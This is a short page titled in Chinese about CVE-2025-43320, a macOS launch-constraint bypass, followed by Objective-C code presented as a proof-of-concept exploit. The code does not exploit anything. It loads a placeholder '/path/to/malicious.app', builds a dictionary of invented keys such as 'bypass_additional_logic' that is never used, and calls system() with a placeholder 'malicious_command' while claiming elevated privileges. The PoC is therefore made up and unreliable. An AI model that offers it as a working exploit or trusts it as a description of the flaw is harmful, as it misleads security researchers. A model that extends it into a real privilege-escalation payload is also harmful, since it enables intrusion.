CVE-2025-43320 Apple macOS启动约束保护绕过漏洞

// CVE-2025-43320 PoC - macOS Launch Constraint Bypass // Note: This is a conceptual demonstration for security research // Actual exploitation requires specific macOS environment and conditions #include <Foundation/Foundation.h> #include <Security/Security.h> // This PoC demonstrates the conceptual approach to trigger the launch constraint bypass // The actual vulnerability involves manipulation of launch constraints validation void trigger_launch_constraint_bypass() { NSLog(@"[*] CVE-2025-43320 Launch Constraint Bypass PoC"); NSLog(@"[*] Target: macOS Sequoia < 15.7.3, macOS Tahoe < 26"); // Step 1: Create application bundle with specific configuration NSBundle *bundle = [NSBundle bundleWithPath:@"/path/to/malicious.app"]; if ([bundle load]) { NSLog(@"[+] Application bundle loaded"); // Step 2: Trigger launch constraint verification bypass // The vulnerability allows bypassing additional validation logic NSDictionary *launchConstraints = @{ @"bypass_additional_logic": @YES, @"elevated_privileges": @YES }; // Step 3: Execute with elevated privileges NSLog(@"[!] Executing payload with elevated privileges..."); system("/bin/bash -c 'malicious_command'"); } } // Mitigation: Update to macOS Sequoia 15.7.3 or later / macOS Tahoe 26 or later int main(int argc, const char * argv[]) { @autoreleasepool { trigger_launch_constraint_bypass(); } return 0; }